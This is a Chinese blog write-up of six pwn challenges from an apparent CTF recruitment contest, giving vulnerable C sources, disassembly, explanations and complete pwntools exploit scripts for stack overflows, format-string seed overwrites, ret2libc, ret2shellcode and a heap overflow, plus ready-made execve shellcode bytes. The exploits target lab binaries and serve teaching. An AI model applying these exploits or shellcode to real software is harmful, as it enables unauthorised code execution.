s4_pwn_wp

本文最后更新于:13 天前

s4_pwn

出题人&&点评 by zhuzhu

wp by :female_detective:fanfan

babystack

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include<stdio.h>
#include<stdlib.h>
int ini()
{
fflush(stdin);
fflush(stdout);
fflush(stderr);
setvbuf(stdin,0,_IONBF,0);
setvbuf(stdout,0,_IONBF,0);
setvbuf(stderr,0,_IONBF,0);
return 0;
}
int menu()
{
puts("It's a very easy challenge");
fflush(stdout);
puts("How to overcome?");
fflush(stdout);
return 0;
}
int main()
{
char v1[16];
ini();
menu();
system("echo \"Who are you? \"");
scanf("%32s",v1);
puts("OK,welcome !");
fflush(stdout);
return 0;
}

void sub_2078()
{
system("sh");
}

init函数内容只是用来提升程序响应速度的操作,在审伪代码中不需要过多斟酌

解题思路

栈溢出:

scanf("%32s",v1);这行代码限制了用户输入的字符串长度为32个字符。如果用户输入的字符串长度超过这个限制,那么会导致缓冲区溢出。此题中,缓冲区的大小是16个字符,所以触发了栈溢出漏洞。

使用IDApro查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:00000000004007F5 ; __unwind {
.text:00000000004007F5 push rbp
.text:00000000004007F6 mov rbp, rsp
.text:00000000004007F9 sub rsp, 10h
.text:00000000004007FD mov eax, 0
.text:0000000000400802 call ini
.text:0000000000400807 mov eax, 0
.text:000000000040080C call menu
.text:0000000000400811 mov edi, offset command ; "echo \"Who are you? \""
.text:0000000000400816 call _system
.text:000000000040081B lea rax, [rbp+var_10]
.text:000000000040081F mov rsi, rax
.text:0000000000400822 mov edi, offset a32s ; "%32s"
.text:0000000000400827 mov eax, 0
.text:000000000040082C call ___isoc99_scanf
.text:0000000000400831 mov edi, offset aOkWelcome ; "OK,welcome !"
.text:0000000000400836 call _puts
.text:000000000040083B mov rax, cs:stdout@@GLIBC_2_2_5
.text:0000000000400842 mov rdi, rax ; stream
.text:0000000000400845 call _fflush
.text:000000000040084A mov eax, 0
.text:000000000040084F leave
.text:0000000000400850 retn
.text:0000000000400850 ; } // starts at 4007F5

构造输入,首先填充任意值到返回地址,且在64位下,RBP的大小是8个字节,想要覆盖到返回地址,我们要输入的填充数据大小就是16+8个,同时程序中找到了后门函数,可以直接getshell,我们用这个函数的起始地址覆盖返回地址

1
2
3
4
5
6
7
8
9
10
text:0000000000400892 ; __unwind {
.text:0000000000400892 push rbp
.text:0000000000400893 mov rbp, rsp
.text:0000000000400896 mov edi, offset aSh ; "sh"
.text:000000000040089B call _system
.text:00000000004008A0 nop
.text:00000000004008A1 pop rbp
.text:00000000004008A2 retn
.text:00000000004008A2 ; } // starts at 400892
.text:00000000004008A2 _sub_2078 endp

exp

1
2
3
4
5
6
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=remote('node01.container.race.nynusec.com',24464)
back=0x400892
p.sendafter("Who are you?",b"a"*24+p64(back))
p.interactive()

出题人点评:

scanf函数

c库的输入函数有多个,如scanf,gets,fgets,getchar。 scanf和printf是C语言中较为常用的输入输出函数,这两个函数的参数是不确定的,编译器也没有办法进行检查,因此用的时候挺容易报错,或者产生越界问题,如源码中的“%32s”就对限制输入的数据过大,造成了越界问题,因此产生了漏洞,使用该函数时应检查所要传输的内容长度来限制输入。

scanf函数用法扩展:

scanf()函数的参数分为两部分,一部分为转换字符,另一部分为要传入的变量的地址,除数组外其他的都需要加地址符&。举栗子:

img

因为字符串是char类型的数组,所以不用加取地址符。 因为数组名就是数组中第一个元素的地址,而其他的变量名并没有这种作用,所以需要加取地址符。

scanf的转换字符与printf的转换字符相同,scanf是把输入的数据转换为对应的类型存入目标变量的地址,printf是把数据转化为对应的类型输出。

scanf中的修饰符 scanf中的修饰符与printf中的修饰符不同,scanf中的修饰符用在%和转换字符之间 , 用于跳过该输入项,举栗子:

img

设输入1,2,3,则n的值为3,跳过了前俩个的输入。

scanf中使用字段宽度 ,举个栗子:

img

输入123 4,则会输出 a=12,b=3 。

格式字符串中的普通字符串:

scanf函数允许将普通字符添加在格式字符串中,比如在转换说明中添加一个逗号,举栗子:

img

用户输入一个整数型再输入一个逗号再输入一个整数型。所以必须输入这样的 1,2或者1,(回车)2。

img

若想这样写则:

img

scanf的返回值:

scanf函数返回成功读取的参数个数,举栗子:

img

easyform

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include<stdio.h>
#include<time.h>
#include<stdlib.h>
int seed = 0;
int a=0;
int init()
{
fflush(stdin);
fflush(stdout);
fflush(stderr);
setvbuf(stdin,0,_IONBF,0);
setvbuf(stdin,0,_IONBF,0);
setvbuf(stderr,0,_IONBF,0);
return alarm(0x30);
}
int main()

{ init();
printf("Welcome to the NYNUSEC Recruitment Competition\n");
printf("Are you ready?\n");
char wish[200];
int i = 1;
seed=(unsigned int)time(NULL);
puts("Please tell your wish to me and will make it come true");
fflush(stdout);
read(0,wish,200);
printf(wish);
printf("\n");
fflush(stdout);
srand(seed);
for(int k=0;;k++)
{
if (k==50)
break;
int n =rand()%10;
printf("Now is %d-th input",k);
fflush(stdout);
printf("Please input number");
fflush(stdout);
scanf("%d",&a);
if(n != a )
{
printf("exit");
exit(1);
}

}
hack_me();
return 0;
}
void hack_me()
{
puts("Wow!Hacker");
fflush(stdout);
system("sh");
}

解题思路

这道题额外给了编译时系统的c语言链接库(libc.so.6)

格式化字符串:

格式化字符串利用主要分为三个部分

格式化字符串函数 格式化字符串 后续参数,可选

img

printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下;
img

常见的有格式化字符串函数有:
输入函数:
scanf()
输出函数:

函数 基本介绍
printf 输出到 stdout
fprintf 输出到指定 FILE 流
vprintf 根据参数列表格式化输出到 stdout
vfprintf 根据参数列表格式化输出到指定 FILE 流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置 argv
syslog 输出日志
err, verr, warn, vwarn 等 …….

这道题中就出现了未加格式化字符串的情况,所以出发漏洞

1
2
3
4
5
6
7
8
9
.text:08048851                 call    _read
.text:08048856 add esp, 10h
.text:08048859 sub esp, 0Ch
.text:0804885C lea eax, [ebp+buf]
.text:08048862 push eax ; format
.text:08048863 call _printf
.text:08048868 add esp, 10h
.text:0804886B sub esp, 0Ch
.text:0804886E push 0Ah ; c

格式化字符漏洞利用

泄露

式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的。所以在调用输出函数时,第一个参数的值就是格式化字符串的地址。

那么如何确定该格式化字符串为第几个参数?

重复某个字符的机器字长来作为tag,而后面会跟上若干个%p来输出栈上的内容,如果内容与我们前面的tag重复了,那么就基本说明该地址就是格式化字符串的地址,之所以是基本上确定,这是因为不排除栈上有一些临时变量也是该数值。本题中我们利用字符’a’作为特定字符

1
2
3
4
5
6
❯ ./form                                                                                                                                                                                                 ─╯
Welcome to the NYNUSEC Recruitment Competition
Are you ready?
Please tell your wish to me and will make it come true
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaa-0xffe625b4-0xc8-0x80487e3-0xf7d2f1b4-0xf7f6266c-0xffe62624-0x1-0xf7d3e4be-0x61616161-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70

可以看到这道题的格式化字符串的起始地址正好是输出函数的第9个参数

修改

pwntools中的pwnlib.fmstr模块提供了字符串漏洞利用的工具。

官方文档:pwnlib.fmtstr — Format string bug exploitation tools

该模块中定义了fmtstr_payload函数

fmtstr_payload用于自动生成格式化字符串payload

1
>pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') → str
  • offset:控制的第一个格式化程序的偏移
  • writes:为字典,用于往addr中写入value,例如**{addr:** value, addr2: value2}
  • numbwritten:已经由printf写入的字节数
  • write_size:必须是byte/short/int其中之一,指定按什么数据宽度写(%hhn/%hn/%n

这道题我们就是要修改seed的值

IDA中seed所在地址在bss端

1
.bss:0804A08C seed            dd ?                    ; DATA XREF: main+5B↑w

我们现在知道偏移和地址,只需要把seed修改成我们想要的值,然和使用python ctypes库加载程序指定的libc库就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from ctypes import *
context(os='linux',arch='i386',log_level='debug')
p=process('./form')
#p=remote('node01.container.race.nynusec.com',24154)
libc=cdll.LoadLibrary('./libc.so.6')#使用ctypes的cdll来加载名为'libc.so.6'的库
seed_addr=0x0804A08C
pay=fmtstr_payload(9,{seed_addr:1})#修改程序的seed值
p.sendafter('true',pay)
libc.srand(1)#使用libc库的srand函数设置随机数种子为1
for i in range(50):
num = str(libc.rand()%10)#每次生成的随机数序列是相同的。循环中,每次生成一个0到9之间的随机数
p.sendlineafter(b'Please input number',num)
p.interactive()

出题人点评:

32为模式下传参:

以下为例

img

img

可知32位程序跟64位程序传参顺序是一样的从右至左,但32程序不用寄存器而是直接压栈,64位寄存器先di、si、dx、cx、r8、r9,其余的参数通过栈传递。

对于本题

格式化字符串的简单题,意在考察对于32位程序确定栈上的参数的位置并利用格式化字符串修改数据。对于本题即覆盖随机数种子为固定的数值,使其每轮(题目为一轮50次)产生的随机数值固定,即可通过if判断拿到shell。

对于格式化字符串修改数据可以利用工具,但是要更直观的理解格式化字符串的原理,比如本题覆盖时 p=flat(seed_addr,b’%9$n’),即把printf输出的栈上第9个参数的长度并写进第9个参数所指的位置,而第9个参数为该地址,32位程序地址长度为4字节,即seed_addr写入4字节。

pwn

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include<stdio.h>
#include<stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
char name[0x30];
int ini(){
fflush(stdin);
fflush(stdout);
fflush(stderr);
setvbuf(stdin,0,_IONBF,0);
setvbuf(stdout,0,_IONBF,0);
setvbuf(stderr,0,_IONBF,0);
return 0;
}
int menu()
{
puts("Welcome to NYNUS4 competition");
fflush(stdout);
puts("Show me your ability");
fflush(stdout);
return 0;
}
int main(){
ini();
menu();
setbuf(stdin,0);
setbuf(stdout,0);
puts("Please give me your name");
fflush(stdout);
mprotect(0x601000,0x1000,PROT_READ | PROT_WRITE|PROT_EXEC);
read(0,&name,0x18);
puts("Good name");
fflush(stdout);
puts("Let us play a game, and what game do you want to play?");
fflush(stdout);
char game[16];
read(0,game,0x50);

return 0;
}

解题思路

刚开始想使用shellcode的方式,但是没有搜到合适长度的shellcode,索性使用了ret2libc

ret2libc攻击方式:针对动态链接(Dynamic linking) 编译的程序,静态链接一般利用简单ROP能构造出payload进行攻击(详见ROP博客)。一般情况下无法在程序中直接找到system、execve这一类系统函数,动态链接过程中动态连接器会将程序所有需要的链接库加载到内存进程空间,而libc.so是最基本的一个。

libc.so 是 linux 下 C 语言库中的运行库glibc 动态链接版,里面包含了大量可利用的函数,ret2libc的原理便是将 libc.so 在内存中我们所需要的函数返回地址获取,进而取得控制权。通常是利用system(“/bin/sh”)打开shell,简单可以判定为两个步骤:

  1. system地址获取
  2. “/bin/sh”字符串地址获取

第一次调用:plt->got->plt->公共plt->动态连接器_dl_runtime_resolve->锁定函数地址

第二次:plt->got->直接锁定函数地址,此时got表已记录函数地址

got表:包含函数的真实地址,包含libc函数的基址,用于泄露地址

plt表:不用知道libc函数真实地址,使用plt地址就可以调用函数

写这道题的时候还发生了小插曲,我找到的libc的system地址偏移是对的,但是binsh的地址是错的,解决方式就是在name的地址写入sh(等同于binsh),再将地址传入system,这样后门函数就构造好了

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#start

#p=process('./pwn3')
p=remote('node01.container.race.nynusec.com',20413)
elf = ELF('pwn3')
#p=gdb.debug('./pwn3')

#params
rdi_addr = 0x400953
rsi_r15_addr = 0x400951
main_addr = elf.symbols['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
format_str = 0x4005b9
ret=0x04005b9

#attack
p.sendlineafter("Please give me your name",b'fuck')
payload=b'M'*(0x10+8) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("Let us play a game, and what game do you want to play?",payload)

puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
log.success("puts Address: " + (hex(puts_addr)))

#libc
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')

#attack2

p.sendlineafter("Please give me your name",b'sh;')

Payload_Shell =b'M'*(0x10+8)+p64(ret) + p64(rdi_addr) + p64(0x6010A0) + p64(system)
p.sendlineafter("Let us play a game, and what game do you want to play?",Payload_Shell)

p.interactive()

exp2

1
2
3
4
5
6
7
8
9
from pwn import *
context(arch="amd64",os='linux',log_level="debug")
#io=process('./pwn')
io=remote("node01.container.race.nynusec.com",22024)
payload1="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
io.sendlineafter("Please give me your name",payload1)
payload2=b'a'*0x18+p64(0x6010A0)
io.sendlineafter("Let us play a game, and what game do you want to play?",payload2)
io.interactive()

这个是出题人真正想让我们使用的方式,找到一个长度小于0x18的shellcode,再覆盖ret读取

exp3

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=process('./pwn')
name=0x6010a0
shellcode=asm(shellcraft.read(0,name+20,0x30))
print(len(shellcode))
p.recvuntil(b'name\n')
p.sendline(shellcode)
p.recvuntil(b'play?\n')
p.sendline(b'a'*0x18+p64(name))
p.send(asm(shellcraft.sh()))
p.interactive()

出题人点评:

对于本题,直白的ret2shellcode,限制了读入shellcode的长度,因此要想办法找到合适的shellcode,或者利用pwntools生成一段调用read的shellcode,重新给定限制读入大小,不过要注意此时生成的shellcode长度,0x14刚好符合大小。另外下方read我给了0x50读入长度,也可以利用ret2libc。

另:

64位较短shellcode 23 字节: \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

32位较短shellcode 21字节: \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

ezpwngame

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#include<stdio.h>
#include<stdlib.h>
#include<malloc.h>
int flag=1;
int choice=0;
int mark=0;
int k=0;
int HP=10000;
int level=1;
int init()
{
fflush(stdin);
fflush(stdout);
fflush(stderr);
setvbuf(stdin,0,_IONBF,0);
setvbuf(stdout,0,_IONBF,0);
setvbuf(stderr,0,_IONBF,0);
return alarm(0x200);
}
int menu()
{
puts("Welcome to NYNUS4 competition!");
fflush(stdout);
puts("Please make your choice.");
fflush(stdout);
return 0;

}
int game()
{
int option=0;
int hp=100;
puts("You are a swordsman who encountered Boss while brushing dungeons");
fflush(stdout);
puts("You have three choices in front of you");
fflush(stdout);

while(choice!=3){
scanf("%d",&option);
if(option==1)
{
puts("You use your coquettish moves to attack the boss and deduct 1 health from it");
fflush(stdout);
HP--;
}
else if(option==2)
{

puts("You have chosen to develop obscene and wait for level improvement");
fflush(stdout);
level++;
}
else if(option==3)
{
puts("You directly stiffen the boss and die");
flag=0;
puts("EXIT");
break;
}

}
return 0;

}
int game2()
{ int a=0;
puts("You found a hidden level");
puts("A mysterious person told you he would fulfill both of your wishes");
scanf("%d",&a);
if(a==1)
{
int flag=0;
}
else if(a==2)
{
int flag=1;
}

return 0;

}
int main()
{
init();
setbuf(stdout,NULL);
setbuf(stdin,NULL);
while(choice!=3)
{

menu();
scanf("%d",&choice);
if(choice==3)
{
puts("EXIT");
fflush(stdout);
break;
}
else if(choice==1)
{
if(mark<10000){
game();
mark++;
}
else

{
puts("EXIT");
fflush(stdout);
break;
}


}

else if(choice==2)
{

if(mark!=5000)
{
game2();
k++;
}
else
{
mark--;
}
}


}
if(HP==2387&&mark==1&&flag==0&&level==2613)
{


sub_70c2();
}

return 0;
}

int sub_70c2()
{ setbuf(stdin,0);
setbuf(stdout,0);
puts("Congratulation");
fflush(stdout);
char *p=NULL;
char *o=NULL;
p=(char *)malloc(0x200);
o=(char *)malloc(0x200);
gets(p);
system(o);
free(p);
free(o);
p=NULL;
o=NULL;
return 0;


}

解题思路

没有漏洞,通过伪代码看懂程序即可,通过考验后,有一个堆覆盖,只需要将binsh点写入第二个堆块

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=remote('node01.container.race.nynusec.com',20448)
p.sendlineafter('Please make your choice.',b'1')#mark+1
p.sendlineafter('You have three choices in front of you',b'2')
level=2
for i in range(2611):
p.sendlineafter('You have chosen to develop obscene and wait for level improvement',b'2')
level+=1
print("level ",level)
#level+1
#pause()
HR=9999
p.sendlineafter('You have chosen to develop obscene and wait for level improvement\n',b'1')#HR=9999 #flag=0
for i in range(7612):
p.sendlineafter('You use your coquettish moves to attack the boss and deduct 1 health from it',b'1')
HR-=1
print(HR)
#pause()
p.sendlineafter('You use your coquettish moves to attack the boss and deduct 1 health from it\n',b'3')#game=0

#p.sendlineafter('You have three choices in front of you',b'1')#HP-1
p.sendlineafter('Please make your choice.',b'3')
payload=b'a'*0x200+2*p64(0)+b'/bin/sh'
p.sendlineafter('Congratulation',payload)
p.interactive()
'''
HP == 2387 && mark == 1 && !flag && level == 2613

'''

出题人点评:

此题简单代码分析,满足if判断之后堆溢出传入“sh”即可。

ezez

解题思路

没有漏洞,只需要完成3000道计算题即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *  

io = remote('node01.container.race.nynusec.com', 21028)
context.log_level = 'debug'

io.recvuntil('Calculate 3000 questions within the specified time frame and I will give you flag\n')
expression = io.recvline().decode().strip() #接收数据
answer = eval(expression) #计算
print(f"The answer is: {answer}")
io.sendlineafter("Input your answer\n",str(answer))
count=1
while True:
expression = io.recvline().decode().strip()
answer = eval(expression)
count+=1
print("conut:",count)
io.sendlineafter("Input your answer\n",str(answer))
if count == 3000:
break
io.interactive()

pppppwn

解题思路

漏洞:格式化字符串 栈溢出

因为是32位题目,构造rop时只需要构造栈帧产参:system_plt, blank,binsh

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p=remote('node01.container.race.nynusec.com',22194)
#p=gdb.debug('./pppppwn')
context(os='linux',arch='i386',log_level='debug')
seed=0x0804A08C
sys_plt=0x080484E0
sh=0x0804830A
p.recvuntil('Play game\n')
pay=fmtstr_payload(6,{seed:4})
p.sendline(pay)
p.recvuntil("Good job!")
pay=b'a'*28+p32(sys_plt)+p32(0)+p32(sh)
p.sendline(pay)

p.interactive()

出题人点评:

依然是格式化字符串覆盖种子,旨在考查32位程序输出的地址大小,之后ret2text即可。


s4_pwn_wp
http://example.com/2023/12/05/s4-pwn-wp/
作者
fan fan
发布于
2023年12月5日
许可协议